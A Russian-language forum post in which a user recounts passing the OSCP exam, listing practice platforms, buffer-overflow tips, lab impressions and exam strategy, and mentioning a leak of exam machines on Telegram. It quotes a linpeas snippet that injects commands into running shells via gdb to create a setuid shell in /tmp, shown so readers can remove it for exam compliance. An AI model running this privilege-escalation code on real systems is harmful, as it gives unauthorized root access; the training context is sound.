Заметки по OSCP

Discussion in 'Кухня' started by joelblack, 29 Sep 2021.

  1. joelblack

    joelblack Reservists Of Antichat

    Joined:
    6 Jul 2015
    Messages:
    244
    Likes Received:
    450
    Reputations:
    145
    [​IMG]

    В интернете можно встретить много статей, где OSCP преподносят как нечто "адски" сложное. Безусловно, если ты не обладаешь хотя бы базовыми знаниями в области ИБ, то шансы сдать близки к нулю. Но на самом деле все не так страшно, как это описывают :) . В начале сентября я сдал экзамен и хочу поделиться своим опытом.


    Утечка
    Не так давно по телеграм-каналам гуляла утечка экзаменационных машин, которые судя по некоторым отзывам реально попадались на экзамене. Кто то успел сдать экзамен абсолютно не напрягаясь. Однако сейчас слитые машины обновили, добавили много новых, поэтому если кто то на нее надеялся, то теперь ее можно использовать разве что в образовательных целях. Машины оттуда однозначно не попадутся.


    Подготовка
    OSCP - комплексный экзамен, который требует обширный спектр знаний. Поэтому, прежде чем покупать материалы и лабы лучше всего потратить какое то количество времени на самообразование. Ниже я опишу список тех ресурсов, которые мне помогли в этом

    Web
    Как ни крути без веба, конечно, никуда. Веб, по моему мнению, на экзамене не сложный, поэтому базовых знаний о наиболее распространенных уязвимостях и способах их эксплуатации будет достаточно для успешного пробития внешнего периметра. Вот несколько известных ресурсов, которые дадут теоретические и практические знания

    TryHackme
    Очень полезная платформа для изучения ИБ, которая содержит в себе большое количество room'ов. Вот несколько наиболее интересных в плане веба:

    • OWASP TOP 10 . Здесь можно узнать что представляет из себя каждая уязвимость из списка OWASP TOP 10 , как возникает и как ее в дальнейшем можно проэксплуатировать.
    • Vulnversity В этой руме можно попробовать активный рекон, на практике атаковать веб-приложение и повышение привилегий (Этот вопрос будет рассмотрен ниже)


    Rootme
    Площадка явно не нуждается в представлении. Отличное место для того, что бы на практике отточить полученные знания. Таски, к тому же, варьируются от совсем простых, которые можно решить за 1-2 минуты, до тех, на которые придется потратить внушительное количество времени. Из явных недостатков хочется отметить, что таски перестали активно обновляться, а некоторые сильно устарели.

    Web Security Academy
    Еще одна площадка для оттачивания знаний на практике от создателей BurpSuite. Очень качественный и структурированный материал, который сразу же после прочтения можно закрепить на практике. К тому же параллельно можно будет познакомиться с BurpSuite чуть глубже, так как некоторые решения там показаны непосредственно под Burp

    OWASP WSTG

    WSTG - это комплексное руководство по тестированию безопасности веб-приложений и веб-сервисов. Крайне рекомендуется к прочтению. Не все рассмотренные там уязвимости попадутся на экзамене, однако руководство существенно прокачает знания.

    Конечно, существует очень много подобных проектов, но лично я фокусировался именно на этих


    Vulnerable Machines
    После прокачки веба появляется представление о том, как "пробивать" внешний периметр. Следующий этап это повышение привилегий

    Udemy

    • Linux Privilege Escalation for OSCP & Beyond! Отличный курс для новичков в повышении привилегий. Здесь рассмотрены и базовые методы повышения привилегий и более продвинутые. Курс заточен именно под OSCP. Для тех, кому лень разворачивать стенд самим есть рума в tryhackme Linux PrivEsc . Очень удобно, смотришь курс и параллельно оттачиваешь полученные знания на практике
    • Windows Privilege Escalation for OSCP & Beyond! Все вышеописанное, только для винды. Рума на tryhackme Windows PrivEsc

    TryHackMe
    Есть еще очень похожие румы по привеску от другого автора


    HackTheBox
    Теперь можно перейти к "тяжелой" артиллерии. Площадка абсолютно точно не нуждается в представлении и это одно из самых лучших мест, где можно комплексно потренировать свои знания. Площадка включает в себя большое количество разных машин, начиная от самых легких, которые решаются условно в 1 действие и заканчивая реальным "безумием". Объективно говоря машины на HTB мне показались в разы сложнее, чем на OSCP, поэтому, если уверенно решать машины здесь, то с OSCP проблем однозначно не будет. Главное не усложнять потом все самому на экзамене, потому что как правило там все на поверхности. Я советую купить платный доступ, хотя бы на месяц, так как будут доступны все машины, включая устаревшие и все райтапы к ним. Будет полезно порешать их, и в случае если где то застрял можно будет аккуратно подсмотреть куда копать дальше. Если же такой возможности нет, то рекомендую просто посмотреть IppSec. Как только машина устаревает, на этом канале сразу же выходит по ней райтап.

    Лучше, конечно, прорешать максимально много тачек, но если не позволяет время или другие обстоятельства, то TJnull собрал список машин, которые похожи на экзаменационные

    [​IMG]

    Список постоянно обновляется и дополняется. Посмотреть целиком его можно тут

    PROVING GROUNDS

    [​IMG]


    Платформа, разработанная непосредственно OffSec'ами для OSCP. Как и на OSCP здесь каждая тачка имеет количество поинтов. На мой взгляд это наиболее приближенная к экзамену площадка, поэтому желательно отсюда прорешать все. У платформы лишь один недостаток. Машины, максимально приближенные к OSCP (раздел Practice) платные.


    Buffer Overflow
    Необходимо иметь базовые знания по переполнению буфера. По моему мнению это самая переоцененная машина на экзамене. Решается в неспешном порядке минут за 30-40, однако за нее дают внушительные 25 баллов. На TryHackMe есть замечательная рума, в которой можно потренироваться.

    Достаточно прорешать все таски отсюда и на OSCP проблем не будет. Главное быть очень внимательным с Bad Characters. Если пропустить хотя бы один бэдчар, то эксплоит уже не сработает, поэтому нужно перепроверить их минимум 2-3 раза. Больше всего времени решая BoF у меня заняла кропотливая проверка бэдчаров .

    Учебные материалы
    Вооружившись полученными знаниями можно смело покупать OSCP. В комплекте будет курс PWK (Penetration testing with Kali), доступ к форуму и лабораторке. В состав учебных материалов входят обучающее видео и методичка на 800+ листов. Сразу хочу отметить, что эти материалы не являются исчерпывающими. Их имеет смысл изучать в контексте устранения пробелов. Многие говорят что форум лучше не читать, но я считаю что райтапы по машинам из лабы обязательны к прочтению, так как там разбираются все шаги, от разведки до повышения привилегий. И разбирается все очень подробно.

    Лаба
    На лабораторные у меня практически не хватило времени, так как в период подготовки было много проектов по работе, поэтому я решил лишь пару машин и из того, что я там увидел сделал следующие выводы:

    • Некоторые машины из решенных мной сильно устарели, что плохо в контексте последних обновлений экзамена. Было бы крайне логично обновить лабы тоже (не знаю как сейчас, но на момент прохождения лаб некоторые машины были реально устаревшими)
    • Лаба спроектирована так, что некоторые машины можно решить только, если решил другие машины, на которых лежат необходимые креды. Это немного раздражает
    По моему мнению куда более эффективной подготовкой будет решение HTB и POVING GROUNDS.



    Экзамен

    [​IMG]

    Итак, можно смело приступать к экзамену. Здесь очень важно начать с изучения правил

    Правила
    OffSec'и очень серьезно относятся к правилам. Это касается и разрешенных программ и оформления отчета и даже вывода флага в консоль. Например, в правилах можно увидеть, что вывод флага в консоль считается валидным для Windows используя type, а для Linux cat.

    Или пример еще интереснее. Из-за автоэксплоита sudo в linpeas студенту не засчитали экзамен. Поэтому, если использовать linpeas с официального репозитория, необходимо удалить следующий участок кода

    Code:
    if [ ! "$SUPERFAST" ] && [ "$ptrace_scope" ] && [ "$ptrace_scope" -eq 0 ] && [ "$is_gdb" ]; then
    
        echo "Checking for sudo tokens in other shells owned by current user"
    
        for pid in $(pgrep '^(ash|ksh|csh|dash|bash|zsh|tcsh|sh)$' -u "$(id -u)" 2>/dev/null | grep -v "^$$\$"); do
    
          echo "Injecting process $pid -> "$(cat "/proc/$pid/comm" 2>/dev/null)
    
          echo 'call system("echo | sudo -S cp /bin/sh /tmp/shrndom >/dev/null 2>&1 && echo | sudo -S chmod +s /tmp/shrndom >/dev/null 2>&1")' | gdb -q -n -p "$pid" >/dev/null 2>&1
    
        done
    
        if [ -f "/tmp/shrndom" ]; then 
    
          echo "Sudo tokens exploit worked, you can escalate privileges using '/tmp/shrndom -p'" | sed -${E} "s,.*,${C}[1;31;103m&${C}[0m,";
    
        else echo "The escalation didn't work... (try again later?)"
    
        fi
    
      fi
    
      echo ""

    Советы/рекомендации

    • Прежде, чем перейти к экзамену необходимо где то записывать файндинги и хранить скриншоты ( а скриншотить нужно буквально каждый шаг ). Для этих целей отлично подойдет Notion
    • Начинать экзамен лучше прежде всего с переполнения буфера параллельно при этом поставить на скан остальные машины. За 30-40 минут в процессе решения BoF все машины успеют просканиться. Это значительно сэкономит время, а оно в OSCP иногда крайне важно
    • Затем лучше всего решить машину за 10 баллов. Сложность ее минимальна и все сводится к тому, что бы найти уязвимый сервис и найти готовый эксплоит к нему. Эта машина заняла у меня минут 7-10. Итак спустя час имеется 35 баллов, ровно половина от экзамена ( Экзамен считается пройденным при наличии 70 баллов, однако лучше набирать всегда больше, что бы перестраховаться)
    • Использовать при бруте директорий/файлов самые большие словари (directory-list-2.3-big.txt). Экзамен местами очень коварный и обычные листы, вроде fuzz.txt не всегда обнаруживают нужные точки входа
    • Если что то брутфорсится более 30 минут, значит это не брутабельно. На этом можно очень плотно застрять. На протяжении экзамена вероятнее всего будут попадаться хеши, но не все они могут быть сбручены и не нужно на этом зацикливаться. Если что то долгое брутится - значит необходимо искать новые пути
    • Найденные пароли необходимо применять ко всем сервисам. Если был найден какой то пароль то его сразу необходимо применять ко всем сервисам. Велика вероятность что с ним удастся куда то пробиться
    • Не зацикливаться на 1 машине. Если где то затор, лучше переключиться на другие машины и отвлечься. Если затор везде - лучше пойти отдохнуть, подышать воздухом, собраться с мыслями и вернуться более менее свежим
    • Не знаю как у других, у меня 1 эксплоит не сработал с первого раза и я ушел часов на 5-7 искать другой способ повышения привилегий. Когда уже абсолютно все идеи кончились я вернулся в исходную точку и запустил абсолютной такой же эксплоит без каких либо правок и на этот раз он отработал
    • Писать отчет крайне ответственно. Необходимо очень подробно, шаг за шагом расписывать каждую деталь/мелочь. Отчет должен быть написан так, что бы его мог открыть новичок и по шагам повторить атаку. Если какая то часть будет описана не должным образом, за машину сразу поставят 0. Поэтому лучше всего решить 5 из 5 тачек, что бы если что был запас по баллам
    • Быть внимательным. Крайне важно изучать и гуглить все до мелочей, что как то вызывает подозрение или может потенциально дать какой то вектор. Экзамен наполнен Раббит Холлами и его девиз не "Try Harder", а скорее "Смотри внимательнее и не зацикливайся"
    Конечно, все индивидуально и эта заметка в том числе не является "исчерпывающей". Данные ресурсы/подходы помогли сдать OSCP мне, но не факт, что помогут другим, так как у всех у нас разный скилл, разные взгляды на вещи и тд. Поэтому если у кого то будут дополнения/замечания/пожелания пишите сюда. Будет здорово структурировать информацию по OSCP в одном месте.
     
    crlf, alexzir, Aang_ and 2 others like this.